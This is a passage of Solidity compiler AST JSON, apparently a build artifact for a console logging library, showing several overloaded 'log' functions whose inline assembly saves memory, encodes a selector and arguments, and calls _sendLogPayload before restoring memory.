6507:18:22"},"nativeSrc":"176507:18:22","nodeType":"YulExpressionStatement","src":"176507:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176550:4:22","nodeType":"YulLiteral","src":"176550:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"176556:2:22","nodeType":"YulIdentifier","src":"176556:2:22"}],"functionName":{"name":"writeString","nativeSrc":"176538:11:22","nodeType":"YulIdentifier","src":"176538:11:22"},"nativeSrc":"176538:21:22","nodeType":"YulFunctionCall","src":"176538:21:22"},"nativeSrc":"176538:21:22","nodeType":"YulExpressionStatement","src":"176538:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39516,"isOffset":false,"isSlot":false,"src":"176113:2:22","valueSize":1},{"declaration":39519,"isOffset":false,"isSlot":false,"src":"176143:2:22","valueSize":1},{"declaration":39522,"isOffset":false,"isSlot":false,"src":"176173:2:22","valueSize":1},{"declaration":39525,"isOffset":false,"isSlot":false,"src":"176203:2:22","valueSize":1},{"declaration":39528,"isOffset":false,"isSlot":false,"src":"176233:2:22","valueSize":1},{"declaration":39531,"isOffset":false,"isSlot":false,"src":"176263:2:22","valueSize":1},{"declaration":39534,"isOffset":false,"isSlot":false,"src":"176293:2:22","valueSize":1},{"declaration":39506,"isOffset":false,"isSlot":false,"src":"176433:2:22","valueSize":1},{"declaration":39508,"isOffset":false,"isSlot":false,"src":"176462:2:22","valueSize":1},{"declaration":39510,"isOffset":false,"isSlot":false,"src":"176491:2:22","valueSize":1},{"declaration":39512,"isOffset":false,"isSlot":false,"src":"176556:2:22","valueSize":1}],"id":39536,"nodeType":"InlineAssembly","src":"175735:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39538,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"176594:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39539,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"176600:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39537,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"176578:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39540,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"176578:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39541,"nodeType":"ExpressionStatement","src":"176578:27:22"},{"AST":{"nativeSrc":"176624:214:22","nodeType":"YulBlock","src":"176624:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"176645:4:22","nodeType":"YulLiteral","src":"176645:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"176651:2:22","nodeType":"YulIdentifier","src":"176651:2:22"}],"functionName":{"name":"mstore","nativeSrc":"176638:6:22","nodeType":"YulIdentifier","src":"176638:6:22"},"nativeSrc":"176638:16:22","nodeType":"YulFunctionCall","src":"176638:16:22"},"nativeSrc":"176638:16:22","nodeType":"YulExpressionStatement","src":"176638:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176674:4:22","nodeType":"YulLiteral","src":"176674:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"176680:2:22","nodeType":"YulIdentifier","src":"176680:2:22"}],"functionName":{"name":"mstore","nativeSrc":"176667:6:22","nodeType":"YulIdentifier","src":"176667:6:22"},"nativeSrc":"176667:16:22","nodeType":"YulFunctionCall","src":"176667:16:22"},"nativeSrc":"176667:16:22","nodeType":"YulExpressionStatement","src":"176667:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176703:4:22","nodeType":"YulLiteral","src":"176703:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"176709:2:22","nodeType":"YulIdentifier","src":"176709:2:22"}],"functionName":{"name":"mstore","nativeSrc":"176696:6:22","nodeType":"YulIdentifier","src":"176696:6:22"},"nativeSrc":"176696:16:22","nodeType":"YulFunctionCall","src":"176696:16:22"},"nativeSrc":"176696:16:22","nodeType":"YulExpressionStatement","src":"176696:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176732:4:22","nodeType":"YulLiteral","src":"176732:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"176738:2:22","nodeType":"YulIdentifier","src":"176738:2:22"}],"functionName":{"name":"mstore","nativeSrc":"176725:6:22","nodeType":"YulIdentifier","src":"176725:6:22"},"nativeSrc":"176725:16:22","nodeType":"YulFunctionCall","src":"176725:16:22"},"nativeSrc":"176725:16:22","nodeType":"YulExpressionStatement","src":"176725:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176761:4:22","nodeType":"YulLiteral","src":"176761:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"176767:2:22","nodeType":"YulIdentifier","src":"176767:2:22"}],"functionName":{"name":"mstore","nativeSrc":"176754:6:22","nodeType":"YulIdentifier","src":"176754:6:22"},"nativeSrc":"176754:16:22","nodeType":"YulFunctionCall","src":"176754:16:22"},"nativeSrc":"176754:16:22","nodeType":"YulExpressionStatement","src":"176754:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176790:4:22","nodeType":"YulLiteral","src":"176790:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"176796:2:22","nodeType":"YulIdentifier","src":"176796:2:22"}],"functionName":{"name":"mstore","nativeSrc":"176783:6:22","nodeType":"YulIdentifier","src":"176783:6:22"},"nativeSrc":"176783:16:22","nodeType":"YulFunctionCall","src":"176783:16:22"},"nativeSrc":"176783:16:22","nodeType":"YulExpressionStatement","src":"176783:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"176819:4:22","nodeType":"YulLiteral","src":"176819:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"176825:2:22","nodeType":"YulIdentifier","src":"176825:2:22"}],"functionName":{"name":"mstore","nativeSrc":"176812:6:22","nodeType":"YulIdentifier","src":"176812:6:22"},"nativeSrc":"176812:16:22","nodeType":"YulFunctionCall","src":"176812:16:22"},"nativeSrc":"176812:16:22","nodeType":"YulExpressionStatement","src":"176812:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39516,"isOffset":false,"isSlot":false,"src":"176651:2:22","valueSize":1},{"declaration":39519,"isOffset":false,"isSlot":false,"src":"176680:2:22","valueSize":1},{"declaration":39522,"isOffset":false,"isSlot":false,"src":"176709:2:22","valueSize":1},{"declaration":39525,"isOffset":false,"isSlot":false,"src":"176738:2:22","valueSize":1},{"declaration":39528,"isOffset":false,"isSlot":false,"src":"176767:2:22","valueSize":1},{"declaration":39531,"isOffset":false,"isSlot":false,"src":"176796:2:22","valueSize":1},{"declaration":39534,"isOffset":false,"isSlot":false,"src":"176825:2:22","valueSize":1}],"id":39542,"nodeType":"InlineAssembly","src":"176615:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"175525:3:22","parameters":{"id":39513,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39506,"mutability":"mutable","name":"p0","nameLocation":"175534:2:22","nodeType":"VariableDeclaration","scope":39544,"src":"175529:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39505,"name":"bool","nodeType":"ElementaryTypeName","src":"175529:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39508,"mutability":"mutable","name":"p1","nameLocation":"175543:2:22","nodeType":"VariableDeclaration","scope":39544,"src":"175538:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39507,"name":"bool","nodeType":"ElementaryTypeName","src":"175538:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39510,"mutability":"mutable","name":"p2","nameLocation":"175555:2:22","nodeType":"VariableDeclaration","scope":39544,"src":"175547:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39509,"name":"address","nodeType":"ElementaryTypeName","src":"175547:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39512,"mutability":"mutable","name":"p3","nameLocation":"175567:2:22","nodeType":"VariableDeclaration","scope":39544,"src":"175559:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39511,"name":"bytes32","nodeType":"ElementaryTypeName","src":"175559:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"175528:42:22"},"returnParameters":{"id":39514,"nodeType":"ParameterList","parameters":[],"src":"175585:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39578,"nodeType":"FunctionDefinition","src":"176850:774:22","nodes":[],"body":{"id":39577,"nodeType":"Block","src":"176916:708:22","nodes":[],"statements":[{"assignments":[39556],"declarations":[{"constant":false,"id":39556,"mutability":"mutable","name":"m0","nameLocation":"176934:2:22","nodeType":"VariableDeclaration","scope":39577,"src":"176926:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39555,"name":"bytes32","nodeType":"ElementaryTypeName","src":"176926:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39557,"nodeType":"VariableDeclarationStatement","src":"176926:10:22"},{"assignments":[39559],"declarations":[{"constant":false,"id":39559,"mutability":"mutable","name":"m1","nameLocation":"176954:2:22","nodeType":"VariableDeclaration","scope":39577,"src":"176946:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39558,"name":"bytes32","nodeType":"ElementaryTypeName","src":"176946:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39560,"nodeType":"VariableDeclarationStatement","src":"176946:10:22"},{"assignments":[39562],"declarations":[{"constant":false,"id":39562,"mutability":"mutable","name":"m2","nameLocation":"176974:2:22","nodeType":"VariableDeclaration","scope":39577,"src":"176966:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39561,"name":"bytes32","nodeType":"ElementaryTypeName","src":"176966:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39563,"nodeType":"VariableDeclarationStatement","src":"176966:10:22"},{"assignments":[39565],"declarations":[{"constant":false,"id":39565,"mutability":"mutable","name":"m3","nameLocation":"176994:2:22","nodeType":"VariableDeclaration","scope":39577,"src":"176986:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39564,"name":"bytes32","nodeType":"ElementaryTypeName","src":"176986:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39566,"nodeType":"VariableDeclarationStatement","src":"176986:10:22"},{"assignments":[39568],"declarations":[{"constant":false,"id":39568,"mutability":"mutable","name":"m4","nameLocation":"177014:2:22","nodeType":"VariableDeclaration","scope":39577,"src":"177006:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39567,"name":"bytes32","nodeType":"ElementaryTypeName","src":"177006:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39569,"nodeType":"VariableDeclarationStatement","src":"177006:10:22"},{"AST":{"nativeSrc":"177035:372:22","nodeType":"YulBlock","src":"177035:372:22","statements":[{"nativeSrc":"177049:17:22","nodeType":"YulAssignment","src":"177049:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"177061:4:22","nodeType":"YulLiteral","src":"177061:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"177055:5:22","nodeType":"YulIdentifier","src":"177055:5:22"},"nativeSrc":"177055:11:22","nodeType":"YulFunctionCall","src":"177055:11:22"},"variableNames":[{"name":"m0","nativeSrc":"177049:2:22","nodeType":"YulIdentifier","src":"177049:2:22"}]},{"nativeSrc":"177079:17:22","nodeType":"YulAssignment","src":"177079:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"177091:4:22","nodeType":"YulLiteral","src":"177091:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"177085:5:22","nodeType":"YulIdentifier","src":"177085:5:22"},"nativeSrc":"177085:11:22","nodeType":"YulFunctionCall","src":"177085:11:22"},"variableNames":[{"name":"m1","nativeSrc":"177079:2:22","nodeType":"YulIdentifier","src":"177079:2:22"}]},{"nativeSrc":"177109:17:22","nodeType":"YulAssignment","src":"177109:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"177121:4:22","nodeType":"YulLiteral","src":"177121:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"177115:5:22","nodeType":"YulIdentifier","src":"177115:5:22"},"nativeSrc":"177115:11:22","nodeType":"YulFunctionCall","src":"177115:11:22"},"variableNames":[{"name":"m2","nativeSrc":"177109:2:22","nodeType":"YulIdentifier","src":"177109:2:22"}]},{"nativeSrc":"177139:17:22","nodeType":"YulAssignment","src":"177139:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"177151:4:22","nodeType":"YulLiteral","src":"177151:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"177145:5:22","nodeType":"YulIdentifier","src":"177145:5:22"},"nativeSrc":"177145:11:22","nodeType":"YulFunctionCall","src":"177145:11:22"},"variableNames":[{"name":"m3","nativeSrc":"177139:2:22","nodeType":"YulIdentifier","src":"177139:2:22"}]},{"nativeSrc":"177169:17:22","nodeType":"YulAssignment","src":"177169:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"177181:4:22","nodeType":"YulLiteral","src":"177181:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"177175:5:22","nodeType":"YulIdentifier","src":"177175:5:22"},"nativeSrc":"177175:11:22","nodeType":"YulFunctionCall","src":"177175:11:22"},"variableNames":[{"name":"m4","nativeSrc":"177169:2:22","nodeType":"YulIdentifier","src":"177169:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"177264:4:22","nodeType":"YulLiteral","src":"177264:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"177270:10:22","nodeType":"YulLiteral","src":"177270:10:22","type":"","value":"0x8c329b1a"}],"functionName":{"name":"mstore","nativeSrc":"177257:6:22","nodeType":"YulIdentifier","src":"177257:6:22"},"nativeSrc":"177257:24:22","nodeType":"YulFunctionCall","src":"177257:24:22"},"nativeSrc":"177257:24:22","nodeType":"YulExpressionStatement","src":"177257:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"177301:4:22","nodeType":"YulLiteral","src":"177301:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"177307:2:22","nodeType":"YulIdentifier","src":"177307:2:22"}],"functionName":{"name":"mstore","nativeSrc":"177294:6:22","nodeType":"YulIdentifier","src":"177294:6:22"},"nativeSrc":"177294:16:22","nodeType":"YulFunctionCall","src":"177294:16:22"},"nativeSrc":"177294:16:22","nodeType":"YulExpressionStatement","src":"177294:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"177330:4:22","nodeType":"YulLiteral","src":"177330:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"177336:2:22","nodeType":"YulIdentifier","src":"177336:2:22"}],"functionName":{"name":"mstore","nativeSrc":"177323:6:22","nodeType":"YulIdentifier","src":"177323:6:22"},"nativeSrc":"177323:16:22","nodeType":"YulFunctionCall","src":"177323:16:22"},"nativeSrc":"177323:16:22","nodeType":"YulExpressionStatement","src":"177323:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"177359:4:22","nodeType":"YulLiteral","src":"177359:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"177365:2:22","nodeType":"YulIdentifier","src":"177365:2:22"}],"functionName":{"name":"mstore","nativeSrc":"177352:6:22","nodeType":"YulIdentifier","src":"177352:6:22"},"nativeSrc":"177352:16:22","nodeType":"YulFunctionCall","src":"177352:16:22"},"nativeSrc":"177352:16:22","nodeType":"YulExpressionStatement","src":"177352:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"177388:4:22","nodeType":"YulLiteral","src":"177388:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"177394:2:22","nodeType":"YulIdentifier","src":"177394:2:22"}],"functionName":{"name":"mstore","nativeSrc":"177381:6:22","nodeType":"YulIdentifier","src":"177381:6:22"},"nativeSrc":"177381:16:22","nodeType":"YulFunctionCall","src":"177381:16:22"},"nativeSrc":"177381:16:22","nodeType":"YulExpressionStatement","src":"177381:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39556,"isOffset":false,"isSlot":false,"src":"177049:2:22","valueSize":1},{"declaration":39559,"isOffset":false,"isSlot":false,"src":"177079:2:22","valueSize":1},{"declaration":39562,"isOffset":false,"isSlot":false,"src":"177109:2:22","valueSize":1},{"declaration":39565,"isOffset":false,"isSlot":false,"src":"177139:2:22","valueSize":1},{"declaration":39568,"isOffset":false,"isSlot":false,"src":"177169:2:22","valueSize":1},{"declaration":39546,"isOffset":false,"isSlot":false,"src":"177307:2:22","valueSize":1},{"declaration":39548,"isOffset":false,"isSlot":false,"src":"177336:2:22","valueSize":1},{"declaration":39550,"isOffset":false,"isSlot":false,"src":"177365:2:22","valueSize":1},{"declaration":39552,"isOffset":false,"isSlot":false,"src":"177394:2:22","valueSize":1}],"id":39570,"nodeType":"InlineAssembly","src":"177026:381:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39572,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"177432:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39573,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"177438:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39571,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"177416:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39574,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"177416:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39575,"nodeType":"ExpressionStatement","src":"177416:27:22"},{"AST":{"nativeSrc":"177462:156:22","nodeType":"YulBlock","src":"177462:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"177483:4:22","nodeType":"YulLiteral","src":"177483:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"177489:2:22","nodeType":"YulIdentifier","src":"177489:2:22"}],"functionName":{"name":"mstore","nativeSrc":"177476:6:22","nodeType":"YulIdentifier","src":"177476:6:22"},"nativeSrc":"177476:16:22","nodeType":"YulFunctionCall","src":"177476:16:22"},"nativeSrc":"177476:16:22","nodeType":"YulExpressionStatement","src":"177476:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"177512:4:22","nodeType":"YulLiteral","src":"177512:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"177518:2:22","nodeType":"YulIdentifier","src":"177518:2:22"}],"functionName":{"name":"mstore","nativeSrc":"177505:6:22","nodeType":"YulIdentifier","src":"177505:6:22"},"nativeSrc":"177505:16:22","nodeType":"YulFunctionCall","src":"177505:16:22"},"nativeSrc":"177505:16:22","nodeType":"YulExpressionStatement","src":"177505:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"177541:4:22","nodeType":"YulLiteral","src":"177541:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"177547:2:22","nodeType":"YulIdentifier","src":"177547:2:22"}],"functionName":{"name":"mstore","nativeSrc":"177534:6:22","nodeType":"YulIdentifier","src":"177534:6:22"},"nativeSrc":"177534:16:22","nodeType":"YulFunctionCall","src":"177534:16:22"},"nativeSrc":"177534:16:22","nodeType":"YulExpressionStatement","src":"177534:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"177570:4:22","nodeType":"YulLiteral","src":"177570:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"177576:2:22","nodeType":"YulIdentifier","src":"177576:2:22"}],"functionName":{"name":"mstore","nativeSrc":"177563:6:22","nodeType":"YulIdentifier","src":"177563:6:22"},"nativeSrc":"177563:16:22","nodeType":"YulFunctionCall","src":"177563:16:22"},"nativeSrc":"177563:16:22","nodeType":"YulExpressionStatement","src":"177563:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"177599:4:22","nodeType":"YulLiteral","src":"177599:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"177605:2:22","nodeType":"YulIdentifier","src":"177605:2:22"}],"functionName":{"name":"mstore","nativeSrc":"177592:6:22","nodeType":"YulIdentifier","src":"177592:6:22"},"nativeSrc":"177592:16:22","nodeType":"YulFunctionCall","src":"177592:16:22"},"nativeSrc":"177592:16:22","nodeType":"YulExpressionStatement","src":"177592:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39556,"isOffset":false,"isSlot":false,"src":"177489:2:22","valueSize":1},{"declaration":39559,"isOffset":false,"isSlot":false,"src":"177518:2:22","valueSize":1},{"declaration":39562,"isOffset":false,"isSlot":false,"src":"177547:2:22","valueSize":1},{"declaration":39565,"isOffset":false,"isSlot":false,"src":"177576:2:22","valueSize":1},{"declaration":39568,"isOffset":false,"isSlot":false,"src":"177605:2:22","valueSize":1}],"id":39576,"nodeType":"InlineAssembly","src":"177453:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"176859:3:22","parameters":{"id":39553,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39546,"mutability":"mutable","name":"p0","nameLocation":"176868:2:22","nodeType":"VariableDeclaration","scope":39578,"src":"176863:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39545,"name":"bool","nodeType":"ElementaryTypeName","src":"176863:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39548,"mutability":"mutable","name":"p1","nameLocation":"176877:2:22","nodeType":"VariableDeclaration","scope":39578,"src":"176872:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39547,"name":"bool","nodeType":"ElementaryTypeName","src":"176872:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39550,"mutability":"mutable","name":"p2","nameLocation":"176886:2:22","nodeType":"VariableDeclaration","scope":39578,"src":"176881:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39549,"name":"bool","nodeType":"ElementaryTypeName","src":"176881:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39552,"mutability":"mutable","name":"p3","nameLocation":"176898:2:22","nodeType":"VariableDeclaration","scope":39578,"src":"176890:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39551,"name":"address","nodeType":"ElementaryTypeName","src":"176890:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"176862:39:22"},"returnParameters":{"id":39554,"nodeType":"ParameterList","parameters":[],"src":"176916:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39612,"nodeType":"FunctionDefinition","src":"177630:768:22","nodes":[],"body":{"id":39611,"nodeType":"Block","src":"177693:705:22","nodes":[],"statements":[{"assignments":[39590],"declarations":[{"constant":false,"id":39590,"mutability":"mutable","name":"m0","nameLocation":"177711:2:22","nodeType":"VariableDeclaration","scope":39611,"src":"177703:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39589,"name":"bytes32","nodeType":"ElementaryTypeName","src":"177703:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39591,"nodeType":"VariableDeclarationStatement","src":"177703:10:22"},{"assignments":[39593],"declarations":[{"constant":false,"id":39593,"mutability":"mutable","name":"m1","nameLocation":"177731:2:22","nodeType":"VariableDeclaration","scope":39611,"src":"177723:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39592,"name":"bytes32","nodeType":"ElementaryTypeName","src":"177723:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39594,"nodeType":"VariableDeclarationStatement","src":"177723:10:22"},{"assignments":[39596],"declarations":[{"constant":false,"id":39596,"mutability":"mutable","name":"m2","nameLocation":"177751:2:22","nodeType":"VariableDeclaration","scope":39611,"src":"177743:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39595,"name":"bytes32","nodeType":"ElementaryTypeName","src":"177743:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39597,"nodeType":"VariableDeclarationStatement","src":"177743:10:22"},{"assignments":[39599],"declarations":[{"constant":false,"id":39599,"mutability":"mutable","name":"m3","nameLocation":"177771:2:22","nodeType":"VariableDeclaration","scope":39611,"src":"177763:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39598,"name":"bytes32","nodeType":"ElementaryTypeName","src":"177763:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39600,"nodeType":"VariableDeclarationStatement","src":"177763:10:22"},{"assignments":[39602],"declarations":[{"constant":false,"id":39602,"mutability":"mutable","name":"m4","nameLocation":"177791:2:22","nodeType":"VariableDeclaration","scope":39611,"src":"177783:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39601,"name":"bytes32","nodeType":"ElementaryTypeName","src":"177783:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39603,"nodeType":"VariableDeclarationStatement","src":"177783:10:22"},{"AST":{"nativeSrc":"177812:369:22","nodeType":"YulBlock","src":"177812:369:22","statements":[{"nativeSrc":"177826:17:22","nodeType":"YulAssignment","src":"177826:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"177838:4:22","nodeType":"YulLiteral","src":"177838:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"177832:5:22","nodeType":"YulIdentifier","src":"177832:5:22"},"nativeSrc":"177832:11:22","nodeType":"YulFunctionCall","src":"177832:11:22"},"variableNames":[{"name":"m0","nativeSrc":"177826:2:22","nodeType":"YulIdentifier","src":"177826:2:22"}]},{"nativeSrc":"177856:17:22","nodeType":"YulAssignment","src":"177856:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"177868:4:22","nodeType":"YulLiteral","src":"177868:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"177862:5:22","nodeType":"YulIdentifier","src":"177862:5:22"},"nativeSrc":"177862:11:22","nodeType":"YulFunctionCall","src":"177862:11:22"},"variableNames":[{"name":"m1","nativeSrc":"177856:2:22","nodeType":"YulIdentifier","src":"177856:2:22"}]},{"nativeSrc":"177886:17:22","nodeType":"YulAssignment","src":"177886:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"177898:4:22","nodeType":"YulLiteral","src":"177898:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"177892:5:22","nodeType":"YulIdentifier","src":"177892:5:22"},"nativeSrc":"177892:11:22","nodeType":"YulFunctionCall","src":"177892:11:22"},"variableNames":[{"name":"m2","nativeSrc":"177886:2:22","nodeType":"YulIdentifier","src":"177886:2:22"}]},{"nativeSrc":"177916:17:22","nodeType":"YulAssignment","src":"177916:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"177928:4:22","nodeType":"YulLiteral","src":"177928